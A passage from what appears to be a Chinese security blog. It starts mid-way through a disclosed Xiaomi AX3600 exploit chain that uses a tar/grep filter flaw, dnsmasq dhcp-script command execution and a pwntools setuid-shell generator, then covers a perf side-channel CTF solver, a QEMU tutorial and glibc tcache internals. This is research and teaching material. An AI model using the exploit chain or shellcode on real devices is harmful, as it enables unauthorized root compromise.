使用 grep ^l 判断压缩包内的文件是不是软连接，是的话删除压缩包，函数退出，流程结束
使用 grep -v .des | grep -v .mbu 判断压缩包内是否包含且仅包含后缀为 .des 和 .mbu 的两个文件，不满足条件时删除压缩包，函数退出，流程结束

如下图，test.tar.gz 中只有一个 .des 文件，不满足需要同时包含 .mbu 和 .des 文件的限制

上传后提示解压失败，不对上传的 .des 文件做进一步处理

在解压失败逻辑中，存在一个细微的逻辑问题：未删除解压后不合法的配置文件。如上图的例子中，在路由器上解压得到的 test.des 文件虽然没有被进一步处理，但仍然保留在了 /tmp 目录下

同时因为压缩包可以保留路径信息，用户可以上传保留了路径信息的 .des 或者 .mbu 文件至 /tmp 下的任意路径

攻击者可以利用这个逻辑缺陷在 /tmp 下写任意后缀为 .mbu 或者 .des 的文件。单独来看，这个问题并不严重，但与下文的逻辑漏洞连用，攻击者可以实现后台的任意命令执行。

仔细阅读解压逻辑中判断文件是否为合法的代码

  if os.execute("tar -tzvf " .. L2_30 .. " |grep -v .des|grep -v .mbu >/dev/null 2>&1") == 0 then
    os.execute("rm -rf " .. L2_30)
    return 22
  end

判断压缩包中是否包含且只包含 *.des 和 *.mbu 使用了 grep -v，但这样使用 grep 真的能起到预期的效果吗？

查看 grep 的 man 手册

GREP(1)                                                                                         User Commands                                                                                         GREP(1)

NAME
       grep, egrep, fgrep, rgrep - print lines matching a pattern

......
       -v, --invert-match
              Invert the sense of matching, to select non-matching lines.
......

grep 在进行模式匹配时，是以行为单位进行的，如下图，只要整行中包含特定的字符串即可通过 grep 的检查

同时，因为 grep 在模式匹配时使用 . 可以代替任意字符，所以文件名只需包含 mbu 和 des 即可，而不必要必须以 .mbu 或 .des 结尾

这也是一个很微小的逻辑漏洞，比起上一步，攻击者能多造成的影响仅仅是可以部分改变上传文件的文件名（从必须是 .des 或 .mbu 后缀改为文件名中包含 des 或 mbu 即可），但从攻击者的角度而言，漏洞的影响已经大大上升了一个等级，如在正常的渗透测试中，上传 .php, .jsp 等可写webshell。

但对于 AX3600，攻击者可以控制的文件在 /tmp 下，/tmp 下可选的目标并不多。继续浏览 /tmp 下的文件，发现存在 /tmp/dnsmasq.d 文件夹，分析 dnsmasq 的运行逻辑

1
2
3

root@XiaoQiang:~# ps w | grep dnsmasq
 3951 root      1300 S    /usr/sbin/dnsmasq --user=root -C /var/etc/dnsmasq.conf.cfg01411c -k -x /var/run/dnsmasq/dnsmasq.cfg01411c
28237 root      1336 S    grep dnsmasq

root@XiaoQiang:~# cat /var/etc/dnsmasq.conf.cfg01411c
# auto-generated config file from /etc/config/dhcp
conf-file=/etc/dnsmasq.conf
address=/workforme.stat.localdomain/127.0.0.1
dhcp-authoritative
domain-needed
localise-queries
read-ethers
enable-ubus
expand-hosts
bind-dynamic
local-service
all-servers
server=/lan/
dhcp-leasefile=/tmp/dhcp.leases
resolv-file=/tmp/resolv.conf.auto
intercept-ip-address=192.168.31.1
intercept-white-list=/etc/intercept_wlist
addn-hosts=/tmp/hosts
conf-dir=/tmp/dnsmasq.d




dhcp-range=set:lan,192.168.31.5,192.168.31.254,255.255.255.0,12h
dhcp-option-force=12,MiWiFi-R3600-srv
dhcp-option-force=43,miwifi-R3600-1.0.50-101


address=/XiaoQiang/192.168.31.1
ptr-record=1.31.168.192.in-addr.arpa,XiaoQiang

root@XiaoQiang:~#

可以发现，/tmp/dnsmaq.d 是 dnsmasq 存放配置文件的目录，当 dnsmasq 重启时，conf-dir 中的新配置文件会被加载，当前情况下，只需配置文件后缀是 .conf 即可被加载。

1
2

-7, --conf-dir=<directory>[,<file-extension>......],
Read all the files in the given directory as configuration files. If extension(s) are given, any files which end in those extensions are skipped. Any files whose names end in ~ or start with . or start and end with # are always skipped. If the extension starts with * then only files which have that extension are loaded. So --conf-dir=/path/to/dir,*.conf loads all files with the suffix .conf in /path/to/dir. This flag may be given on the command line or in a configuration file. If giving it on the command line, be sure to escape * characters. Files are loaded in alphabetical order of filename.

而 dnsmasq 又支持很多特性（限于篇幅，下文只列出部分特性，dnsmasq 的完整配置可以参考文末的链接）

root@XiaoQiang:~# dnsmasq --help
Usage: dnsmasq [options]

Valid options are:
......
-6, --dhcp-script=<path>                               Shell script to run on DHCP lease creation and destruction.
    --dhcp-luascript=path                              Lua script to run on DHCP lease creation and destruction.
    --dhcp-scriptuser=<username>                       Run lease-change scripts as this user.
......
-7, --conf-dir=<path>                                  Read configuration 
......
    --enable-tftp[=<intr>[,<intr>]]                    Enable integrated read-only TFTP server.
    --tftp-root=<dir>[,<iface>]                        Export files by TFTP only from the specified subtree.
    --tftp-unique-root[=ip|mac]                        Add client IP or hardware address to tftp-root.
    --tftp-secure                                      Allow access only to files owned by the user running dnsmasq.
    --tftp-no-fail                                     Do not terminate the service if TFTP directories are inaccessible.
    --tftp-max=<integer>                               Maximum number of concurrent TFTP transfers (defaults to 50).
    --tftp-mtu=<integer>                               Maximum MTU to use for TFTP transfers.
    --tftp-no-blocksize                                Disable the TFTP blocksize extension.
    --tftp-lowercase                                   Convert TFTP filenames to lowercase
    --tftp-port-range=<start>,<end>                    Ephemeral port range for use by TFTP transfers.
......

因此，通过在 /tmp/dnsmasq.d 下上传 dnsmasq 的配置文件完成命令执行就是一个很好的选择了。

这里选用通过 dnsmasq 的 dhcp-script 选项完成执行命令。具体方法为：

先在 /tmp 下上传包含攻击者命令的 shell 脚本(文件名包含 des 或者 mbu)
再上传 .conf 结尾的 dnsmasq 配置文件至 /tmp/dnsmasq.d（文件名同样包括 des 或者 mbu）如下图表示成功上传
重启 dnsmasq，方法有很多，基本所有更改网络状态的操作都可以实现，这里通过开/关 ipv6 支持来实现
然后通过 tftp 触发 dhcp-script，实现代码执行
最终可以观察到 hackdes.sh 中的命令被执行

这个漏洞的CVE编号是 CVE-2020-11960

上边两个漏洞连用，攻击者可以实现有限制的未授权代码执行（需要用户使用过备份配置的功能）

Q & A

为什么使用 dhcp-script 选项的同时，要开启 tftp？
- 触发 dhcp-script 需要一定的条件，通过 tftp 传输文件触发是一个很方便的方法
-6 –dhcp-script= Whenever a new DHCP lease is created, or an old one destroyed, or a TFTP file transfer completes, the executable specified by this option is run. must be an absolute pathname, no PATH search occurs.
既然可以开启 tftp，能否可以通过 tftp 上传文件完成利用？
- 不可以，dnsmasq 的 tftp 只能读取文件，不能上传文件
The philosopy was to implement just enough of TFTP to do network boot, aiming for security and then simplicity. Hence no write operation: it’s not needed for network booting, and it’s not secure.
为什么不使用 dhcp-luascript?
- AX3600 的 dnsmasq 不支持该选项
root@XiaoQiang:~# dnsmasq –version Dnsmasq version 2.80 Copyright (c) 2000-2018 Simon Kelley Compile time options: IPv6 GNU-getopt no-DBus no-i18n no-IDN DHCP no-DHCPv6 no-Lua TFTP no-conntrack ipset no-auth no-DNSSEC no-ID loop-detect no-inotify dumpfile

漏洞三：权限提升漏洞

上述两个漏洞连用，攻击者已经可以未授权获得 root shell。出于安全研究的目的，我们多考虑了假设攻击者只拿到低权限的 shell，是否有可能通过漏洞进行权限提升，并最终找到了一个权限提升漏洞。

漏洞产生的原因仍然和 .tar.gz 的解压有关，对于 root 用户而言，使用 tar 解压文件时，默认会保留文件的文件所有者，文件权限等信息

  -p, --preserve-permissions, --same-permissions
                             extract information about file permissions
                             (default for superuser)
      --same-owner           try extracting files with the same ownership as
                             exists in the archive (default for superuser)

因此攻击者可以通过上传具有 suid 权限的后门程序到路由器文件系统中，低权限的攻击者通过执行后门来获取高权限的 shell。

上传文件时对文件大小有限制，直接使用 C\C++ 等语言编写后门时，会超过最大限制。

对于二进制选手而言，缩小可执行程序的体积就很简单了，如使用汇编写 binary 可以很大程度的缩小程序的体积，使用 pwntools 可以很方便的完成

from pwn import *
context.log_level = "critical"
context.binary = "./busybox"

sc =  asm(shellcraft.setresgid(0, 0, 0))
sc += asm(shellcraft.setresuid(0, 0, 0))

# execve("/bin/sh", ["sh", NULL], NULL)
sc += asm(shellcraft.pushstr("/bin/sh\0"))
sc += asm("MOV X0, SP")
sc += asm(shellcraft.pushstr("sh\0"))
sc += asm("EOR X2, X2, X1")
sc += asm("MOV X14, X2")
sc += asm("STR X2, [SP, #-16]!")
sc += asm("ADD X1, SP, #16")
sc += asm("MOV X14, X1")
sc += asm("STR X1, [SP, #-16]!")
sc += asm("MOV X1, SP")
sc += asm("MOV X8, #221")
sc += asm("SVC #0")

f = make_elf(sc, strip = True, extract = False)
print(f)

最终体积生成符合要求的程序

并打包上传

这里需要注意，因为 /tmp 挂载的标志位为 nosuid，所以在 /tmp 下运行有 suid 权限的 binary 并不会生效

但可以上传 binary 至 /tmp/spool/cron/crontabs 即 /etc/crontabs 下实现通过 suid 提权 —— 这也是唯一一个突破点

这个问题在当前的AX3600中并不能称之为安全漏洞，因为AX3600中的所有进程都是以root权限运行的。但 MiSRC 仍然承认了这个问题，并且额外为这个问题支付了漏洞奖金。

Q & A

既然可以在 /etc/crontabs 下上传文件，为什么不在第二个漏洞的利用中直接上传定时任务脚本执行命令？
- /etc/crontabs 下的定时任务脚本对文件名有要求，需和用户名一致才会被 crontab 视为合法的定时任务配置，如文件名必须为 nobody 才可以以 nobody 的身份执行命令。对于第二个漏洞中文件名部分可控的情况下，不满足利用条件

后记

在对AX3600路由器进行研究的过程中，我们发现了十余个逻辑漏洞，并获得了多个CVE编号，组合可以完成多套利用链，本文只分析了其中的一套利用链。如果读者对于其他的漏洞感兴趣，可以参考我们在HITCON 2020的议题 Exploit (Almost) All Xiaomi Routers Using Logical Bugs，在议题中，我们还会展示我们是如何从零开始解固件以及如何解密小米自定义的luac等细节。扫描二维码可以下载议题slide：

在提交 AX3600 相关漏洞的过程中，收到了 MiSRC 迅速、专业的回复和支持，这里对 MiSRC 表示感谢。

参考资料

Pin in CTF? No, Perf in CTF!

Mon, 18 Nov 2019 00:22:17 +0800

pin-in-CTF

十几个月前，在学习 fuzz 时，我接触了 intel-pin 这个动态插桩工具，当时发现对于一些 CTF reverse 题目，尤其是代码混淆比较严重的题目，可以编写 pintool 统计指令数等信息，多快好省的通过侧信道的方法逐位爆破出 flag，详见 pin-in-ctf: blog, pin-in-ctf: repo。

但这种方法缺点也很多:

动态插桩使得程序的 runtime overhead 成倍增长(~%100)
对于比较复杂的程序，尤其是系统调用较多的程序，内核态指令数会占总指令数的很大一部分，影响用户判断
pintool 编写相对复杂
只能对用户态的程序插桩，对内核态程序插桩需要较大的改动

intel-pt and perf

半年前在做毕设时，我接触了 intel-pt 这个硬件级别的 trace 工具，其同样具有记录程序指令的功能，并且由于直接在硬件层面实现，runtime overhead 可以缩小到惊人的 5%，同时通过用户态的系统分析工具 perf，用户也可以相当方便的调用 intel pt 的某些功能。而 perf 也就是本篇文章要介绍的主角。

前几个月的 oGeek 线上赛中，我有一道 pwn 一道 reverse 的出题任务，本来想打算用 intel-pt 的特性出一道逆向题，但因为时间紧张，构思尚不成熟，不想浪费想法，最终出了另外一道 NSIS script 的题目 King of KoF。在昨天的 ASIS Final 2019 的比赛中，遇到了一道题目 Cursed app，分析之后觉得使用 perf 解决十分合适，于是终于有了分享 perf-in-ctf 这个想法（~~并打理要长草的博客~~）的机会，接下来进入正文。

perf

perf 是 Linux 中分析性能的工具，具有很多强大的功能，详见 linux perf turtorial。本篇文章只对其统计指令数的用法进行介绍。

首先需要安装，以 ubuntu 18.04 为例，直接使用包管理安装：

sudo apt install linux-tools-common

查看功能简介：

~ perf --version
perf version 5.0.21
~ tldr perf

  perf

  Framework for linux performance counter measurements.

  - Display basic performance counter stats for a command:
    perf stat gcc hello.c

  - Display system-wide real time performance counter profile:
    sudo perf top

  - Run a command and record its profile into "perf.data":
    sudo perf record command

  - Read "perf.data" (created by perf record) and display the profile:
    sudo perf report

这里只对 perf stat 功能进行介绍，参考 tldr 的例子，对 id 这个命令进行性能分析

~ sudo perf stat id
uid=0(root) gid=0(root) groups=0(root)

 Performance counter stats for 'id':

              1.71 msec task-clock                #    0.710 CPUs utilized          
                 1      context-switches          #    0.584 K/sec                  
                 0      cpu-migrations            #    0.000 K/sec                  
               122      page-faults               #    0.071 M/sec                  
         6,244,401      cycles                    #    3.647 GHz                    
         2,353,996      instructions              #    0.38  insn per cycle         
           459,910      branches                  #  268.614 M/sec                  
            18,201      branch-misses             #    3.96% of all branches        

       0.002412965 seconds time elapsed

       0.000000000 seconds user
       0.002342000 seconds sys


~

其中有指令数这个结果

1
2
3

...
         2,353,996      instructions              #    0.38  insn per cycle         
...

通过格式化输出简化显示

~ sudo perf stat -x : id
uid=0(root) gid=0(root) groups=0(root)
1.17:msec:task-clock:1167180:100.00:0.721:CPUs utilized
0::context-switches:1167180:100.00:0.000:K/sec
0::cpu-migrations:1167180:100.00:0.000:K/sec
121::page-faults:1167180:100.00:0.104:M/sec
4243048::cycles:1208711:100.00:3.635:GHz
2388158::instructions:1208711:100.00:0.56:insn per cycle
461917::branches:1208711:100.00:395.755:M/sec
18229::branch-misses:1208711:100.00:3.95:of all branches
~

只保留 instructions 这一条结果

1
2

~ sudo perf stat -x : -e instructions id 1>/dev/null
2359978::instructions:1819500:100.00::

只保留用户态的结果

1
2

~ sudo perf stat -x : -e instructions:u id 1>/dev/null
716210::instructions:u:1532634:100.00::

看到这，看过 pin-in-CTF 的朋友可能已经知道怎么做了，接下来通过 ASIS Final 2019 的 Cursed app 这个题目进行举例。

perf-in-CTF

binary here

64 位 linux 程序，通过读文件验证结果

Desktop check ./cursed_app.elf 
./cursed_app.elf: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, BuildID[sha1]=7c0031d8c259457ca7f3bab1c5a5f40269167b5f, stripped
[*] '/home/m4x/Desktop/cursed_app.elf'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
Desktop ./cursed_app.elf 
please locate license file, run ./app license_key
Desktop echo "ASIS{" > flag && ltrace ./cursed_app.elf ./flag
_setjmp(0x7ffc7e160590, 0x7ffc7e160758, 0x7ffc7e160770, 0x559e6789dbb0) = 0
fopen("./flag", "r")                                               = 0x559e68a2d260
fseek(0x559e68a2d260, 0, 2, 0)                                     = 0
ftell(0x559e68a2d260, 0x559e68a2d340, 0, 6)                        = 6
fseek(0x559e68a2d260, 0, 0, 0)                                     = 0
malloc(6)                                                          = 0x559e68a2e4a0
fread(0x559e68a2e4a0, 1, 6, 0x559e68a2d260)                        = 6
fclose(0x559e68a2d260)                                             = 0
puts("Bummer! You got the wrong flag!!"...Bummer! You got the wrong flag!!
)                        = 33
+++ exited (status 0) +++

根据题目描述

Description:
If we want to say 100, should we start at 1 and count until 100?

sha256(flag) = dd791346264fc02ddcd2466b9e8b2b2bba8057d61fbbc824d25c7957c127250d

已经可以猜到没必要逆清楚程序的整个逻辑。

使用 IDA 分析程序，发现程序的逻辑很简单

读取文件内容后有多个判断，都通过才会执行到

1
2
3

.text:0000000000001F3B lea     rdi, s          ; "Congratz! You got the correct flag!!"
.text:0000000000001F42 call    _puts
.text:0000000000001F47 mov     [rsp+0F8h+var_F4]

简单调试了几个判断，发现是对文件内容的逐字节判断，因此必然每次输入的正确 flag 长度越长，程序执行的指令数就越多，可以利用这个特性用侧信道的方法得到 flag。

先使用 perf 验证可行性，已经知道 flag 格式为 ASIS{this_is_flag}

Desktop echo -n "0" > ./license && perf stat -x : -e instructions:u ./cursed_app.elf ./license 1>/dev/null 
167612::instructions:u:1000300:100.00::
Desktop echo -n "1" > ./license && perf stat -x : -e instructions:u ./cursed_app.elf ./license 1>/dev/null 
167614::instructions:u:1237218:100.00::
Desktop echo -n "2" > ./license && perf stat -x : -e instructions:u ./cursed_app.elf ./license 1>/dev/null 
167614::instructions:u:967846:100.00::
Desktop echo -n "A" > ./license && perf stat -x : -e instructions:u ./cursed_app.elf ./license 1>/dev/null 
167628::instructions:u:934691:100.00::
Desktop echo -n "A0" > ./license && perf stat -x : -e instructions:u ./cursed_app.elf ./license 1>/dev/null 
167631::instructions:u:1034616:100.00::
Desktop echo -n "A1" > ./license && perf stat -x : -e instructions:u ./cursed_app.elf ./license 1>/dev/null 
167629::instructions:u:1019846:100.00::
Desktop echo -n "A2" > ./license && perf stat -x : -e instructions:u ./cursed_app.elf ./license 1>/dev/null 
167630::instructions:u:504064:100.00::
Desktop echo -n "AS" > ./license && perf stat -x : -e instructions:u ./cursed_app.elf ./license 1>/dev/null 
167648::instructions:u:955516:100.00::
Desktop echo -n "AS0" > ./license && perf stat -x : -e instructions:u ./cursed_app.elf ./license 1>/dev/null 
167645::instructions:u:914409:100.00::
Desktop echo -n "AS1" > ./license && perf stat -x : -e instructions:u ./cursed_app.elf ./license 1>/dev/null 
167647::instructions:u:2748495:100.00::
Desktop echo -n "AS2" > ./license && perf stat -x : -e instructions:u ./cursed_app.elf ./license 1>/dev/null 
167646::instructions:u:677381:100.00::
Desktop echo -n "ASI" > ./license && perf stat -x : -e instructions:u ./cursed_app.elf ./license 1>/dev/null 
167664::instructions:u:564774:100.00::

可以看到，当我们猜到下一位正确的 flag 时，指令数会有较为明显的增长（这里只保留用户态的 instructions 提高稳定性）。

把上述过程封装为脚本，运行即可得到 flag

exploit here

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# ASIS{y0u_c4N_s33_7h15_15_34513R_7h4n_Y0u_7h1nk_r16h7?__!!!}
from subprocess import *
import string
import sys

command = "perf stat -x : -e instructions:u ./cursed_app.elf ./license 1>/dev/null"

flag = 'ASIS{'

def write_file(cont):
    with open("./license", "wb") as f:
        f.write(cont)

write_file(flag)
'''
Desktop cat license
ASIS{
Desktop perf stat -x : -e instructions:u ./cursed_app.elf ./license 1>/dev/null
167689::instructions:u:377798:100.00::
'''
ins_count = 167689
while True:
    delta = 0
	count_chr = ''
	for i in string.printable:
        write_file(flag + i)
		target = Popen(command, stdout=PIPE, stdin=PIPE, stderr=STDOUT, shell=True)
		target_output = target.communicate()
        #  import pdb;pdb.set_trace()
        #  print(target_output)
		instructions = int(target_output[0].split(':')[0])
		if ins_count + 20 > instructions > ins_count + 10:
			count_chr = i
            delta = instructions - ins_count
			ins_count = instructions
            break
	flag += count_chr
        print(delta, flag)

整个过程耗时不到 1 分钟，远远快于使用 pintool 的方法。

这里使用了统计用户态总指令数这种相对粗糙的方法，有兴趣的同学还可以试试精确的只统计某种 pt packet（tnt, tip 等）数目来达到更为精准的结果。

summary

pin-in-CTF is dead, I prefer perf.

使用 perf 来解决这类问题有以下优点：

基于硬件，runtime overhead < 5%
可以通过只保留用户态指令或者只保留某种特定的 pt 数据包来达到更精确的效果
工具较为成熟，直接使用即可
intel pt 本身就是内核模块，可以用于内核态

前文简单的展示了如何使用 perf 这个工具解决一部分 CTF reverse challenge，但也仅仅展现了 perf/intel pt 这个强大工具的冰山一角，更多的高级用法和 trick 还需要大家一起学习和脑洞。

reference

QEMU escape part Ⅰ: qemu 的安装和使用

Mon, 03 Dec 2018 20:04:42 +0800

什么是 qemu

qemu 是一款由 Fabrice Bellard 等人编写的可以执行硬件虚拟化的开源托管虚拟机，具有运行速度快（配合 kvm），跨平台等优点。

qemu 通过动态的二进制转化模拟 CPU，并且提供一组设备模型，使其能够运行多种未修改的客户机OS。

在 ctf 比赛中，qemu 多用于启动异架构(mips, arm 等)的程序、kernel 和 bootloader 等二进制程序，有时也会作为要 pwn 掉的目标。

运行模式

qemu 有多种运行模式，常用的有 User-mode emulation 和 System emulation 两种。

User-mode emulation

用户模式，在这个模式下，qemu 可以运行单个其他指令集的 linux 或者 macOS/darwin 程序，允许了为一种架构编译的程序在另外一种架构上面运行。

System emulation

系统模式，在这个模式下，qemu 将模拟一个完整的计算机系统，包括外围设备。

之后将分别为两种情况举例

安装 qemu

使用包管理

一般情况下，如无特殊需要（如为了运行某个 CTF 比赛中的异架构程序或者 kernel）直接使用对应的包管理直接安装即可

    Arch: pacman -S qemu

    Debian/Ubuntu: apt-get install qemu

    Fedora: dnf install @virtualization

    Gentoo: emerge --ask app-emulation/qemu

    RHEL/CentOS: yum install qemu-kvm

    SUSE: zypper install qemu

这里只说明在 linux 下的安装过程，其他系统的安装过程请参考官方网站

从源码编译

通过包管理安装的 qemu 版本一般较老，如果需要新版的 qemu，可以从源码编译，这里以编译 3.1.0-rc3 的 qemu 为例。

1
2
3

wget https://download.qemu.org/qemu-3.1.0-rc3.tar.xz
tar xvJf qemu-3.1.0-rc3.tar.xz
cd qemu-3.1.0-rc3

通过 ./configure --help 的查看编译时的选项， --target-list 选项为可选的模拟器，默认全选

--target-list 中的 xxx-soft 和 xxx-linux-user 分别指系统模拟器和应用程序模拟器, 生成的二进制文件名字为 qemu-system-xxx 和 qemu-xxx

安装必要依赖

`1`	`sudo apt-get install git libglib2.0-dev libfdt-dev libpixman-1-dev zlib1g-dev libsdl-dev`

选择安装可选依赖

这里直接使用默认选项进行编译

1
2

./configure
make -j8

继续安装

`1`	`sudo make install`

成功安装

1
2
3

~ qemu-arm --version
qemu-arm version 3.0.93
Copyright (c) 2003-2018 Fabrice Bellard and the QEMU Project developers

使用 qemu

以 CISCN 2017 的 babydriver 举例，查看启动脚本

CISCN2017_babydriver [master●] bat boot.sh 
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: boot.sh
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ #!/bin/bash
   2   │ 
   3   │ qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M -
       │ -nographic  -smp cores=1,threads=1 -cpu kvm64,+smep

可以看出这道题目是用 qemu-system-x86_64 启动了以 rootfs.cpio 为文件系统的 kernel bzImage，启动时的参数为 console=ttyS0 ... panic=1，为这个进程分配 64M 内存。

更多参数的含义请通过 -h 或者 qemu-doc 查看。

如果使用包管理安装 qemu，直接安装 qemu-system-x86_64 即可

`1`	`sudo apt install qemu-system_x86-64`

因为使用了 kvm，所以启动时要用 root 权限启动

CISCN2017_babydriver [master●] sudo ./boot.sh
......
......
/ $ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
/ $ ls
bin      etc      init     linuxrc  root     sys      usr
dev      home     lib      proc     sbin     tmp

这道题目的更多分析可以看 link

同样，再看下 Codegate 2018 的Melong

Codegate2018_Melong [master] check melong
+ file melong
melong: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=2c55e75a072020303e7c802d32a5b82432f329e9, not stripped
+ checksec melong
[*] '/home/m4x/Projects/pwn_repo/Codegate2018_Melong/melong'
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x10000)

可以看出是 32 位的 arm 程序，需要安装 qemu-arm

如果使用包管理安装，则

1
2

$ sudo apt-get install qemu-user
$ sudo apt-get install qemu-use-binfmt qemu-user-binfmt:i386

这样就安装了 qemu-arm

但同时因为程序是动态链接的，还需要同时安装对应的 libc，可以使用 apt search "libc6-" | grep "ARCH" 搜索，如

Codegate2018_Melong [master] apt search "libc6-"| grep arm
p   libc6-arm64-cross                                                       - GNU C Library: Shared libraries (for cross-compiling)                             
v   libc6-arm64-dcv1                                                        -                                                                                   
v   libc6-armel-armel-cross                                                 -                                                                                   
p   libc6-armel-armhf-cross                                                 - Dummy package to get libc6:armel installed                                        
p   libc6-armel-cross                                                       - GNU C Library: Shared libraries (for cross-compiling)                             
v   libc6-armel-dcv1                                                        -                                                                                   
p   libc6-armhf-armel-cross                                                 - Dummy package to get libc6:armhf installed                                        
v   libc6-armhf-armhf-cross                                                 -                                                                                   
p   libc6-armhf-cross                                                       - GNU C Library: Shared libraries (for cross-compiling)                             
v   libc6-armhf-dcv1                                                        -                                                                                   
p   libc6-dbg-arm64-cross                                                   - GNU C Library: detached debugging symbols (for cross-compiling)                   
v   libc6-dbg-arm64-dcv1                                                    -                                                                                   
p   libc6-dbg-armel-cross                                                   - GNU C Library: detached debugging symbols (for cross-compiling)                   
v   libc6-dbg-armel-dcv1                                                    -                                                                                   
p   libc6-dbg-armhf-cross                                                   - GNU C Library: detached debugging symbols (for cross-compiling)                   
v   libc6-dbg-armhf-dcv1                                                    -                                                                                   
p   libc6-dev-arm64-cross                                                   - GNU C Library: Development Libraries and Header Files (for cross-compiling)       
v   libc6-dev-arm64-cross:i386                                              -                                                                                   
v   libc6-dev-arm64-dcv1                                                    -                                                                                   
v   libc6-dev-armel-armel-cross                                             -                                                                                   
p   libc6-dev-armel-armhf-cross                                             - Dummy package to get libc6-dev:armel installed                                    
p   libc6-dev-armel-cross                                                   - GNU C Library: Development Libraries and Header Files (for cross-compiling)       
v   libc6-dev-armel-cross:i386                                              -                                                                                   
v   libc6-dev-armel-dcv1                                                    -                                                                                   
p   libc6-dev-armhf-armel-cross                                             - Dummy package to get libc6-dev:armhf installed                                    
v   libc6-dev-armhf-armhf-cross                                             -                                                                                   
p   libc6-dev-armhf-cross                                                   - GNU C Library: Development Libraries and Header Files (for cross-compiling)       
v   libc6-dev-armhf-cross:i386                                              -                                                                                   
v   libc6-dev-armhf-dcv1                                                    -

只需要安装 libc6-ARCH-cross 的包即可。

装好后使用 -L 指定共享库路径即可运行文件。

`1`	`$ qemu-arm -L /usr/arm-linux-gnueabi ./melong`

这道题目的更多分析可以看 link

如果是静态的程序，不需要 libc，则可以不用 -L 选项，如 Jarvis-OJ 的 typo

jarvisOJ_typo [master] check ./typo
+ file ./typo
./typo: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped
+ checksec ./typo
[*] '/home/m4x/Projects/pwn_repo/jarvisOJ_typo/typo'
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8000)
jarvisOJ_typo [master] qemu-arm ./typo
Let's Do Some Typing Exercise~
Press Enter to get start;
Input ~ if you want to quit
^C

如何 debug

分两种情况

调试 qemu 这个进程
调试 qemu 内运行的程序

调试 qemu

对于第一种情况，直接使用 gdb attach 到 qemu 的进程号即可，为了调试时方便可以在编译时加上 --enable-debug 选项以保留符号等信息。

`1`	`--enable-debug enable common debug build options`

在之后的 qemu 逃逸中会着重介绍这个过程。

调试 qemu 中的进程

qemu 提供了 gdb 的接口，通过 -g 指定端口来调用

`1`	`-g port QEMU_GDB wait gdb connection to 'port'`

同时为了调试异架构的程序，需要安装 gdb-multiarch

`1`	`sudo apt install gdb-multiarch`

例如 Melong 中，使用

`1`	`$ qemu-arm -g 1234 -L /usr/arm-linux-gnueabi ./melong`

启动程序，在另一个 shell 中使用 gdb-multiarch 启动程序并连接到指定的端口即可调试

Codegate2018_Melong [master] gdb-multiarch ./melong -q
pwndbg: loaded 175 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./melong...(no debugging symbols found)...done.
pwndbg> target remote localhost:1234

使用 gdb-multriarch 可以调试大多数的程序。

但也有部分程序不能使用 gdb-multiarch，这时可以编译对应架构的 Toolchain，如 arm-none-eabi-gdb

或者使用系统模式的 qemu 创建一个对应架构的虚拟机，文末放了一片链接，以后也会介绍这种方法。

特别的是系统模式的 qemu 还提供了另外几个参数

1
2
3

-gdb dev        wait for gdb connection on 'dev'
-s              shorthand for -gdb tcp::1234
-S              freeze CPU at startup (use 'c' to start execution)

-gdb 作用类似 -g，使用 -gdb tcp::1234 即可在 gdb 中通过 1234 端口调试。

-s 是 -gdb tcp::1234 的缩写

-S 让虚拟机停在启动的地方方便调试，类似于 pwntools 的 gdb.debug()

Reference

https://wiki.qemu.org/Main_Page

https://qemu.weilnetz.de/doc/qemu-doc.html

https://wiki.qemu.org/Documentation

https://en.wikipedia.org/wiki/QEMU

https://www.ringzerolabs.com/2018/03/the-wonderful-world-of-mips.html

https://wiki.qemu.org/Hosts/Linux

Dive Into Tcache

Sun, 14 Oct 2018 20:22:25 +0800

tcache 是 glibc 2.26(ubuntu 17.10) 之后引入的一种技术（see commit），目的是提升堆管理的性能。但提升性能的同时舍弃了很多安全检查，也因此有了很多新的利用方式。

主要参考了 glibc 源码，angelboy 的 slide 以及 tukan.farm，链接都放在最后了。

New Structure

tcache 引入了两个新的结构体，tcache_entry 和 tcache_perthread_struct。

tcache_entry

source code

/* We overlay this structure on the user-data portion of a chunk when
   the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;

tcache_perthread_struct

source code

/* There is one of these for each thread, which contains the
   per-thread cache (hence "tcache_perthread_struct").  Keeping
   overall size low is mildly important.  Note that COUNTS and ENTRIES
   are redundant (we could have just counted the linked list each
   time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS]; 
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

# define TCACHE_MAX_BINS                64

static __thread tcache_perthread_struct *tcache = NULL;

先给一个宏观印象：

tcache_prethread_struct 是整个 tcache 的管理结构，其中有 64 项 entries。每个 entries 管理了若干个大小相同的 chunk，用单向链表 (tcache_entry) 的方式连接释放的 chunk，这一点上和 fastbin 很像
每个 thread 都会维护一个 tcache_prethread_struct
tcache_prethread_struct 中的 counts 记录 entries 中每一条链上 chunk 的数目，每条链上最多可以有 7 个 chunk
tcache_entry 用于链接 chunk 结构体，其中的 next 指针指向下一个大小相同的 chunk
- 这里与 fastbin 不同的是 fastbin 的 fd 指向 chunk 开头的地址，而 tcache 的 next 指向 user data 的地方，即 chunk header 之后

